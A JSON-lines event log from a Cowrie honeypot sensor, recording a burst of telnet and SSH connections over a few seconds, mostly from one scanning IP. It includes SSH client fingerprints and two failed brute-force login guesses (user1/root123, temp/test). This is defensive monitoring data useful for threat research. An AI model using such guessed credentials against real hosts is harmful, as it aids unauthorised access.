{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98574ce2029","protocol":"telnet","message":"New connection: 5.196.58.99:49620 (10.17.0.5:23) [session: e98574ce2029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:35.659814Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd6290d2988","protocol":"telnet","message":"New connection: 5.196.58.99:49606 (10.17.0.5:23) [session: 2dd6290d2988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:35.818395Z"}
{"eventid":"cowrie.session.closed","duration":30.15435004234314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.057417Z","src_ip":"5.196.58.99","session":"b278c08bce1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49624,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1bd7671ce98","protocol":"telnet","message":"New connection: 5.196.58.99:49624 (10.17.0.5:23) [session: b1bd7671ce98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.182164Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49632,"dst_ip":"10.17.0.5","dst_port":23,"session":"0acbbba6af1d","protocol":"telnet","message":"New connection: 5.196.58.99:49632 (10.17.0.5:23) [session: 0acbbba6af1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.197604Z"}
{"eventid":"cowrie.session.closed","duration":30.53471040725708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.443169Z","src_ip":"5.196.58.99","session":"c8bfaa93be11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"b71151a9ae9b","protocol":"telnet","message":"New connection: 5.196.58.99:49640 (10.17.0.5:23) [session: b71151a9ae9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.610337Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"34d06c2d0129","protocol":"telnet","message":"New connection: 5.196.58.99:49646 (10.17.0.5:23) [session: 34d06c2d0129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:36.777905Z"}
{"eventid":"cowrie.session.closed","duration":30.25930666923523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:37.061612Z","src_ip":"5.196.58.99","session":"22f2ed3d83c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80162811279297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:37.129656Z","src_ip":"5.196.58.99","session":"dd9e4902bb09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.635892868041992,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:37.863298Z","src_ip":"5.196.58.99","session":"068ae9e03dcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b8674cab1f","protocol":"telnet","message":"New connection: 5.196.58.99:49654 (10.17.0.5:23) [session: b8b8674cab1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:38.125137Z"}
{"eventid":"cowrie.session.closed","duration":30.5313777923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:38.339017Z","src_ip":"5.196.58.99","session":"e6099d594f31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.518861055374146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.054198Z","src_ip":"5.196.58.99","session":"4eb882448354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49656,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a335aa94a10","protocol":"telnet","message":"New connection: 5.196.58.99:49656 (10.17.0.5:23) [session: 3a335aa94a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.213359Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.117.51.140","src_port":36690,"dst_ip":"10.17.0.5","dst_port":23,"session":"893edbbb0f78","protocol":"telnet","message":"New connection: 103.117.51.140:36690 (10.17.0.5:23) [session: 893edbbb0f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.426363Z"}
{"eventid":"cowrie.session.closed","duration":31.254746198654175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.472309Z","src_ip":"5.196.58.99","session":"e446277a6825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49678,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa3358f1988a","protocol":"telnet","message":"New connection: 5.196.58.99:49678 (10.17.0.5:23) [session: aa3358f1988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.663638Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49696,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d307bfe1a8","protocol":"telnet","message":"New connection: 5.196.58.99:49696 (10.17.0.5:23) [session: b7d307bfe1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:39.976536Z"}
{"eventid":"cowrie.session.closed","duration":30.305819988250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:40.209518Z","src_ip":"5.196.58.99","session":"743e5dd0f5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49712,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef4155e6c321","protocol":"telnet","message":"New connection: 5.196.58.99:49712 (10.17.0.5:23) [session: ef4155e6c321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:40.310730Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebdea203ded2","protocol":"telnet","message":"New connection: 5.196.58.99:49722 (10.17.0.5:23) [session: ebdea203ded2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:40.458544Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ee1459592b","protocol":"telnet","message":"New connection: 5.196.58.99:49730 (10.17.0.5:23) [session: 31ee1459592b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:40.707999Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7d9fcc51f09","protocol":"telnet","message":"New connection: 5.196.58.99:49686 (10.17.0.5:23) [session: d7d9fcc51f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:40.714479Z"}
{"eventid":"cowrie.session.closed","duration":30.72720742225647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:41.081152Z","src_ip":"5.196.58.99","session":"a1b6d5dc9257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.417644023895264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:41.106475Z","src_ip":"5.196.58.99","session":"5e9583caabf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75263524055481,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:41.115706Z","src_ip":"5.196.58.99","session":"a3cf3ba0f92d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49748,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ff7953e4c43","protocol":"telnet","message":"New connection: 5.196.58.99:49748 (10.17.0.5:23) [session: 9ff7953e4c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:41.332604Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49732,"dst_ip":"10.17.0.5","dst_port":23,"session":"785a6f93338c","protocol":"telnet","message":"New connection: 5.196.58.99:49732 (10.17.0.5:23) [session: 785a6f93338c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:41.996429Z"}
{"eventid":"cowrie.session.closed","duration":30.794110536575317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.042711Z","src_ip":"5.196.58.99","session":"0f4ffe4208c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"4727fb4da0c2","protocol":"telnet","message":"New connection: 5.196.58.99:49754 (10.17.0.5:23) [session: 4727fb4da0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.114888Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49760,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ad4e3cdc44","protocol":"telnet","message":"New connection: 5.196.58.99:49760 (10.17.0.5:23) [session: 94ad4e3cdc44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.164481Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49764,"dst_ip":"10.17.0.5","dst_port":23,"session":"45955f17ba9c","protocol":"telnet","message":"New connection: 5.196.58.99:49764 (10.17.0.5:23) [session: 45955f17ba9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.239470Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49672,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8a0696e0ef7","protocol":"telnet","message":"New connection: 5.196.58.99:49672 (10.17.0.5:23) [session: b8a0696e0ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.316333Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49774,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0a2dc611eeb","protocol":"telnet","message":"New connection: 5.196.58.99:49774 (10.17.0.5:23) [session: f0a2dc611eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.461606Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49780,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9fc521cc1b9","protocol":"telnet","message":"New connection: 5.196.58.99:49780 (10.17.0.5:23) [session: b9fc521cc1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.466755Z"}
{"eventid":"cowrie.session.closed","duration":31.58787250518799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.588606Z","src_ip":"5.196.58.99","session":"c93caa259187","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49784,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8bd64ba97e","protocol":"telnet","message":"New connection: 5.196.58.99:49784 (10.17.0.5:23) [session: ba8bd64ba97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:42.729229Z"}
{"eventid":"cowrie.session.closed","duration":30.98596477508545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:43.249996Z","src_ip":"5.196.58.99","session":"e6d3cd8e6d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83525037765503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:43.681264Z","src_ip":"5.196.58.99","session":"13a7f295cff4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f265b234bbe6","protocol":"telnet","message":"New connection: 5.196.58.99:58026 (10.17.0.5:23) [session: f265b234bbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:43.856757Z"}
{"eventid":"cowrie.session.closed","duration":31.04183554649353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:44.109828Z","src_ip":"5.196.58.99","session":"14ef35d993c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":49786,"dst_ip":"10.17.0.5","dst_port":23,"session":"f71f62ccb3a0","protocol":"telnet","message":"New connection: 5.196.58.99:49786 (10.17.0.5:23) [session: f71f62ccb3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:44.380730Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.48.213.208","src_port":7782,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1beb2c73b08","protocol":"ssh","message":"New connection: 185.48.213.208:7782 (10.17.0.5:22) [session: a1beb2c73b08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:44.387846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:44.393175Z","src_ip":"185.48.213.208","session":"a1beb2c73b08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:44.514557Z","src_ip":"185.48.213.208","session":"a1beb2c73b08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58038,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab4ae57e6c8e","protocol":"telnet","message":"New connection: 5.196.58.99:58038 (10.17.0.5:23) [session: ab4ae57e6c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:45.007686Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58048,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6553a20867","protocol":"telnet","message":"New connection: 5.196.58.99:58048 (10.17.0.5:23) [session: 9a6553a20867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:45.045618Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58060,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0e5c44788da","protocol":"telnet","message":"New connection: 5.196.58.99:58060 (10.17.0.5:23) [session: f0e5c44788da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:45.176721Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58034,"dst_ip":"10.17.0.5","dst_port":23,"session":"5368fee20fb5","protocol":"telnet","message":"New connection: 5.196.58.99:58034 (10.17.0.5:23) [session: 5368fee20fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:45.202348Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58086,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc68bc72519f","protocol":"telnet","message":"New connection: 5.196.58.99:58086 (10.17.0.5:23) [session: cc68bc72519f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.297993Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":60964,"dst_ip":"10.17.0.5","dst_port":22,"session":"99fddd371f70","protocol":"ssh","message":"New connection: 109.91.4.177:60964 (10.17.0.5:22) [session: 99fddd371f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.831947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.836990Z","src_ip":"109.91.4.177","session":"99fddd371f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18639898300171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.840890Z","src_ip":"5.196.58.99","session":"50b98e357b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58106,"dst_ip":"10.17.0.5","dst_port":23,"session":"380ba9d7d1f0","protocol":"telnet","message":"New connection: 5.196.58.99:58106 (10.17.0.5:23) [session: 380ba9d7d1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.846857Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:46.943772Z","src_ip":"109.91.4.177","session":"99fddd371f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75364327430725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.046244Z","src_ip":"5.196.58.99","session":"94ba2de3092b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899832487106323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.125396Z","src_ip":"5.196.58.99","session":"92820efd246c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"root123","message":"login attempt [user1/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.223620Z","src_ip":"185.48.213.208","session":"a1beb2c73b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.136979341506958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.268570Z","src_ip":"5.196.58.99","session":"33aead793bb8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"temp","password":"test","message":"login attempt [temp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.411092Z","src_ip":"109.91.4.177","session":"99fddd371f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58092,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c8a304fc333","protocol":"telnet","message":"New connection: 5.196.58.99:58092 (10.17.0.5:23) [session: 0c8a304fc333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.628292Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58124,"dst_ip":"10.17.0.5","dst_port":23,"session":"35466cfe8178","protocol":"telnet","message":"New connection: 5.196.58.99:58124 (10.17.0.5:23) [session: 35466cfe8178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.952022Z"}
{"eventid":"cowrie.session.closed","duration":31.446096181869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:47.997147Z","src_ip":"5.196.58.99","session":"b19007299d56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.503272771835327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.046855Z","src_ip":"5.196.58.99","session":"2f32003665d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552855730056763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.154004Z","src_ip":"5.196.58.99","session":"0b32f41076e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.373412132263184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.163304Z","src_ip":"5.196.58.99","session":"0c9027bf4b64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58142,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7fd4c213699","protocol":"telnet","message":"New connection: 5.196.58.99:58142 (10.17.0.5:23) [session: d7fd4c213699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.261134Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.348395Z","src_ip":"185.48.213.208","session":"a1beb2c73b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.518748Z","src_ip":"109.91.4.177","session":"99fddd371f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.58.99","src_port":58116,"dst_ip":"10.17.0.5","dst_port":23,"session":"9841fac1465b","protocol":"telnet","message":"New connection: 5.196.58.99:58116 (10.17.0.5:23) [session: 9841fac1465b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:12:48.555871Z"}
